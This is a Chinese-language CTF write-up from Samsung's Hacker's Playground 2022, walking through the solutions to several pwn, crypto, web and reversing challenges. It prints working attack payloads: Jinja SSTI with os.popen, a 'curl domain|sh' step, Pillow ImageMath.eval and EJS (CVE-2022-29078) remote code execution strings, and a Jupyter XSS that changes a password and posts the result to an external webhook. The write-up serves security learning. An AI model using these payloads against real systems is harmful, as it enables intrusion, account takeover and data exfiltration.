Hacker's Playground 2022 WriteUps
在防疫旅館的期間以 TSJ 參加了三星辦的 24 小時 ctf,最後拿了第 6 名,有些題目蠻有趣的所以也寫個 writeup。
[Pwn/Crypto] Secure Runner
這題的 elf 逆向一下可以知道它一開始先生成 RSA key,public key 會提供給你,之後可以讓你選擇幾個預先設好的指令的 signature。執行指令的話需要同時輸入指令和對應的 signature 才能執行。
另外它還有藏一個只能使用一次的 format string attack,長度也只有 4 而已:
1 | unsigned __int64 onechance() |
這邊的 heap
是 heap 上的某個 chunk,所以可以讓 stack
上有個任意 offset 的 heap address 方便使用。而 s
因為被 ban
了所以代表這邊不能讀,只能寫而已。
因為題目在做大數的時候是使用 GNU MP 的 mpz,它會把數字東西也存在 heap 上,這代表可以透過控制 offset 去 corrupt key 的某些部分。而 key 本身是個 struct,格式大概是這樣,每個都是一個 16 bytes mpz,大概是存 metadata 和 pointer:
1 | 0: p |
這題在 verify signature 的部分是直接檢查
因為 format string 長度只有 4,算了一下知道 heap address 的 index 是
7,所以唯一可能的打法是 %7$n
,把某四個 byte 設為 0
而已。這邊就讓我想到了今年 crypto ctf 的 Fiercest,所以就直接爆搜看看修改哪幾個
byte 可以讓它變為質數,這樣就簡單了。
1 | from pwn import * |
[Pwn/Crypto] Secure Runner 2
這題和前一題類似,但是它 signature verification 的部分是先計算
雖然是可以 corrupt
另外看到它 sign 預先定義的指令的地方可以知道它不是直接
然而這題它生成 key 的時候還有多計算
不過再稍微查一查就能找到 Modulus Fault Attacks
Against RSA-CRT Signatures,它產生 fault 的地方是
這個方法比較麻煩的是它用了 orthogonal lattice attack,所以實作不簡單,所以我是先直接按照它的方法實做一份出來:
1 | from sage.all import * |
然後把它修改一下整合到原本 pwn 的腳本去就行了:
1 | from pwn import * |
這題還有些有趣的 unintended,像是它雖然會用 xor 檢查完整性,但是那個是在 sign 的時候才會用到,所以只要不用到 sign 的功能時就能改其他參數。以第二題的 rsa key 來說它一共有這些參數:
1 | 0: p |
一個改法是修改 0
可以得到
另一個做法是修改 112 和 128 的 crt coefficients
如果改掉
此時兩個 signature 的差:
%7$n
去蓋的話最多也才
[Crypto/Web] CUSES
cookie 是 AES CTR 加密的,flip username 的 guest
成
admin
就有 flag 了。
[Misc/Web] 5th degree
就它會給一個五次多項式,要在一個給定範圍中找出極大極小值,需要在一分鐘內解完 30 題才有 flag。
基本上 sage 弄一弄就行了:
1 | import re |
[Web] Online Education
這題用負數繞過一些東西,然後因為 re.match
只有檢查 email
的開頭,所以後面可以加一些 js 讓它被 html -> pdf 的工具執行,這邊就能
lfi leak config.py
得到 flask secret,然後 sign 新的
session 變 admin 拿到 flag。
1 | import httpx |
[Rev] FSC
這題有個單純用 C 的 printf format string 寫個 flag checker,但我不知道怎麼逆這種東西,所以把它當作黑箱來處理了。
透過改變一些輸入的值可以之看出它應該是個
check 的部分就是看
解出來的會發現它有些值不太對,因為矩陣的 kernel 非零,不過用一些方法得到 kernel 之後會發現它的值都只是幾個 index 會變 128,所以就把超過範圍的值減掉 128 就能拿到 flag 了。
dump
1 |
|
solve:
1 | A=matrix(Zmod(256),[[2, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ], |
[Misc] Flip Puzzle
就一個類似 15 puzzle 的遊戲,一樣是 4x4。它一開始會從初始狀態隨機移動 11 步,之後你要在 11 步以內走回初始狀態即可獲勝一輪,要獲勝 100 輪才有 flag。另外整個需要在 50 秒內完成。
我的作法很簡單,因為
之後就上面上的表直接去查該怎麼走回起點這題就結束了。
建表:
1 | board = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P".split(",") |
解題:
1 | from pwn import * |
[Web] OnlineNotepad
1 | import os |
可以看到它會寫入 template 然後可以 SSTI,raw
因為是用
%s
注入的所以 memo 用 endraw
+
raw
就能 SSTI。
PS:
%%
在 python 的%
formatting 是%
的 escape,所以它其實沒重複%
至於阻擋 {{` `}}
的部分就用
{%set a=7*7%}
這樣去繞過。但是另外的問題在於 memo
長度只有 64,短到不知道該怎麼弄足夠的長度去 rce。一個常見的技巧是使用
flask 的
config.update(a=lipsum.__globals__)
,去暫存一些值,然後之後再
config.a.os
這樣去存取,長度就能變短。但是
config
這個變數只有在一般的 render_template
的環境下才存在的樣子,在這邊的 TemplateResponse
中是無法使用的。
後來我注意到 password
也屬於同個環境,同時也沒有很嚴格的限制,所以就發現這個 payload
長度就剛剛好 64:
1 | {%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%} |
因為 password
長度限制只有 20,所以這邊會需要一個夠短的
domain 能塞 curl domain|sh
才行,所以這後面就給有短 domain
的 splitline 處理了。
另外這題還有個方法不用 short domain,概念上很類似前面使用
config
的手法。關鍵就是我們可以用多個帳號寫多個檔案,然後利用
{%set a = ???%}
和 {%include 'other.html'%}
這樣去組合即可。
例如 p1.html
裡面放:
1 | {%set a=lipsum%}{%include 'p2.html'%} |
然後 p2.html
裡面放:
1 | {%set b=a.__globals__%}{%include 'p3.html'%} |
然後之後就 p3.html
, p4.html
繼續這樣下去就能繞過長度限制了。
[Web] Imageium
這題是個圖片的 channel mixed 的服務,可以用下面網址提供參數得到不同的圖片:
1 | http://imageium.sstf.site/dynamic/modified?mode=r%2Bg%2Bb |
另位題目有註記說是 Pillow 8.2.0,能查到 CVE-2022-22817,說是
PIL.ImageMath.eval
是可以直接 RCE
的,所以直接塞點其他東西進去就拿到 flag 了:
1 | http://imageium.sstf.site/dynamic/modified?mode=__import__(%27os%27).popen(%27cat%20secret/*%27).read() |
下面是和解題無關的一些題外話:
這個 cve 最一開始的 patch 是 Restrict builtins for ImageMath.eval,有玩 pyjail 的很容易就能看出那很容易用 lambda 繞過,所以應該又有一個 cve...?
後來才發現到目前的 9.1.0. 之後已經有用 Restrict
builtins within lambdas for ImageMath.eval 去 recursive 檢查
co_names
,而這個方法至少我是想不到辦法繞過的,所以應該是安全的。
[Web] JWT Decoder
1 |
|
可以看到說它做的事就只有 decode jwt 然後重新 format
而已,看不出什麼洞來。雖然 res.render('index', rawJwt);
會讓我想到 echo
和 echo2
兩個題目,但是根據它 decode JWT 的方法應該是沒辦法控制其他 options
的吧...?
當然,無法控制其他 options
這點當然是錯的,不然這題就不可解了。關鍵是在
let rawJwt = req.cookies.jwt || {};
的地方,因為 express
cookie 支援了一個 JSON
cookie 的功能,在遇到 j:{"a": 123}
這樣的 cookie
時會嘗試去 decode,所以 rawJwt
其實可以是自己的
object。後面 split
會有 exception,但是因為會 catch
所以還是能讓自己的 payload 進到裡面。
再查一些資料之後能找到 CVE-2022-29078,google 一下就有 exploit 可用,所以這樣即可 rce:
1 | curl 'http://jwtdecoder.sstf.site' --cookie 'jwt=j:{"settings":{"view options":{"outputFunctionName":"a=process.mainModule.require(\"child_process\").execSync(\"SHELL COMMAND\")%3Bb"}}}' |
[Web] Datascience Class
這題有個 jupyter hub 的服務可以註冊和登入,代表你可以直接在 server
上執行指令了。然而它註冊似乎是直接創建新的 linux user,包括有自己的 home
directory,而題目本身還有兩個帳號 admin
和
sub-admin
,flag 是放在 /home/admin/flag
之中,但我們沒有權限讀取。
另外題目還有個 xss bot 會定時 visit 各 user 的
assignment.ipynb
頁面,所以可以放些 javascript
嘗試去獲得一些資訊。我測試了一下之後發現 xss bot 的 user 是
sub-admin
,就想說先把 sub-admin
的 password
改掉,方便我登入進那帳號之後看看能不能做些事撈到 admin
的
flag。
不過就在我做到這邊的時候 seadog007 就已經用 pspy 從其他隊伍那邊偷到 flag 了 XDDD,所以就沒繼續做下去。
後來賽後知道說 sub-admin
和 admin
都是同個
group 的,所以可以用 shell read flag,但是不能直接透過 notebook api 的
/user/admin/api/contents/flag
讀 flag 而已。
記錄個別人的 payload,不是透過改 password 而是直接用 websocket 達成的:
1 | fetch("http://datasciencecls.sstf.site/user/sub-admin/api/terminals",{method: 'POST', headers:{"X-XSRFToken":document.cookie.slice(6)}}); |
另外還有一點是 jupyter notebook 雖然可以直接用 html:
1 | %%html |
但是 onerror
中的東西在儲存後 F5 之後可能會消失
(但也有成功的可能存在...),需要重新手動執行一下那個 cell
才能正常運作,大概是有在做一些
sanitization。賽後有看到有人是用這個方法繞的:
1 | %%html |
後來才知道這原來是 CVE-2021-32798,因為 jupyter 本身會把剛 load 時所載入的 html 視為 unstusted,所以會嘗試去 sanitize html
我自己的 payload:
1 | %%html |
webhook response:
1 | fetch('/hub/change-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'password=NEWPASSWORD'}).then(r=>r.text()).catch(err=>err.message).then(t=>fetch('https://webhook.site/SOME_UUID',{method:'POST',body:t})) |
然後使用 sub-admin/NEWPASSWORD
登入之後
!cat /home/admin/flag
拿 flag:
SCTF{I_want_t0_b3_data_speciai1ist}